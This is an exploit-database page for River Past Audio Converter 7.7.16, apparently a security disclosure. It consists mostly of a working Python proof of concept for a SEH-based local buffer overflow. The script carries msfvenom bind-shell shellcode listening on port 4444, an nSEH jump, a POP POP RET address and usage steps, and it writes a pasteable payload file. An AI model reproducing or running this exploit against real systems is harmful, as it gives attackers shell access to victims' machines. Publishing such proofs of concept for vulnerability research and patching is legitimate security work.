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River Past Audio Converter 7.7.16 Buffer Overflow

River Past Audio Converter 7.7.16 Buffer Overflow
Posted Feb 6, 2019
Authored by Matteo Malvica

River Past Audio Converter version 7.7.16 buffer overflow SEH exploit.

tags | exploit, overflow
MD5 | 956a7fd47b7777cb9406178fef991fc5

River Past Audio Converter 7.7.16 Buffer Overflow

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# Exploit Title: River_Past_Audio_Converter - Buffer Overflow (SEH)
# Date: 06.02.2019
# Vendor Homepage: www.riverpast.com
# Software Link: https://en.softonic.com/download/river-past-audio-converter/windows/post-download?sl=3D1
# Exploit Author: Matteo Malvica
# Tested Version: 7.7.16
# Tested on: Windows 10 - 10.0.17134.1
# Vulnerability Type: Local Buffer Overflow (SEH)
#
# Steps:
# 1.- Run python code : River_Past_Audio_Converter.py
# 2.- Open carbonara.txt and copy content to clipboard
# 3.- Open River_PastAudio_Converter.exe and click on the 'Options' inside fhe 'File' menu.
# 4.- Paste the content of carbonara.txt into the 'Lame_enc.dll' name field.
# 5.- Click 'OK' and you will have a bind shell listening on port 4444.

import socket
import struct

#msfvenom -p windows/shell_bind_tcp LPORT=4444 -a x86 -b '\x00\x0d\x0a\x42' -f python
shellcode = ""
shellcode += "\x31\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xba\xfe\x4d\xcc\x83\xee\xfc\xe2\xf4\x46\x16"
shellcode += "\xcf\xcc\xba\xfe\x2d\x45\x5f\xcf\x8d\xa8\x31\xae\x7d"
shellcode += "\x47\xe8\xf2\xc6\x9e\xae\x75\x3f\xe4\xb5\x49\x07\xea"
shellcode += "\x8b\x01\xe1\xf0\xdb\x82\x4f\xe0\x9a\x3f\x82\xc1\xbb"
shellcode += "\x39\xaf\x3e\xe8\xa9\xc6\x9e\xaa\x75\x07\xf0\x31\xb2"
shellcode += "\x5c\xb4\x59\xb6\x4c\x1d\xeb\x75\x14\xec\xbb\x2d\xc6"
shellcode += "\x85\xa2\x1d\x77\x85\x31\xca\xc6\xcd\x6c\xcf\xb2\x60"
shellcode += "\x7b\x31\x40\xcd\x7d\xc6\xad\xb9\x4c\xfd\x30\x34\x81"
shellcode += "\x83\x69\xb9\x5e\xa6\xc6\x94\x9e\xff\x9e\xaa\x31\xf2"
shellcode += "\x06\x47\xe2\xe2\x4c\x1f\x31\xfa\xc6\xcd\x6a\x77\x09"
shellcode += "\xe8\x9e\xa5\x16\xad\xe3\xa4\x1c\x33\x5a\xa1\x12\x96"
shellcode += "\x31\xec\xa6\x41\xe7\x96\x7e\xfe\xba\xfe\x25\xbb\xc9"
shellcode += "\xcc\x12\x98\xd2\xb2\x3a\xea\xbd\x01\x98\x74\x2a\xff"
shellcode += "\x4d\xcc\x93\x3a\x19\x9c\xd2\xd7\xcd\xa7\xba\x01\x98"
shellcode += "\xa6\xb2\xa7\x1d\x2e\x47\xbe\x1d\x8c\xea\x96\xa7\xc3"
shellcode += "\x65\x1e\xb2\x19\x2d\x96\x4f\xcc\xab\xa2\xc4\x2a\xd0"
shellcode += "\xee\x1b\x9b\xd2\x3c\x96\xfb\xdd\x01\x98\x9b\xd2\x49"
shellcode += "\xa4\xf4\x45\x01\x98\x9b\xd2\x8a\xa1\xf7\x5b\x01\x98"
shellcode += "\x9b\x2d\x96\x38\xa2\xf7\x9f\xb2\x19\xd2\x9d\x20\xa8"
shellcode += "\xba\x77\xae\x9b\xed\xa9\x7c\x3a\xd0\xec\x14\x9a\x58"
shellcode += "\x03\x2b\x0b\xfe\xda\x71\xcd\xbb\x73\x09\xe8\xaa\x38"
shellcode += "\x4d\x88\xee\xae\x1b\x9a\xec\xb8\x1b\x82\xec\xa8\x1e"
shellcode += "\x9a\xd2\x87\x81\xf3\x3c\x01\x98\x45\x5a\xb0\x1b\x8a"
shellcode += "\x45\xce\x25\xc4\x3d\xe3\x2d\x33\x6f\x45\xbd\x79\x18"
shellcode += "\xa8\x25\x6a\x2f\x43\xd0\x33\x6f\xc2\x4b\xb0\xb0\x7e"
shellcode += "\xb6\x2c\xcf\xfb\xf6\x8b\xa9\x8c\x22\xa6\xba\xad\xb2"
shellcode += "\x19"


padding="\x21"*280
nseh = "\xEB\x12\x90\x90"
seh = struct.pack('<L',0x10011977) # 10011977 # POP POP RET
rest = "\x24" * (3000-len(padding)-len(shellcode)-4)
nops = "\x90\x90\x90\x90"

payload = padding + nseh + seh + nops * 16 + shellcode + rest

try:
f=open("carbonara.txt","w")
print "[+] Creating %s bytes pasta payload.." %len(payload)
f.write(payload)
f.close()
print "[+] Carbonara created!"

except:
print "Carbonara cannot be created"
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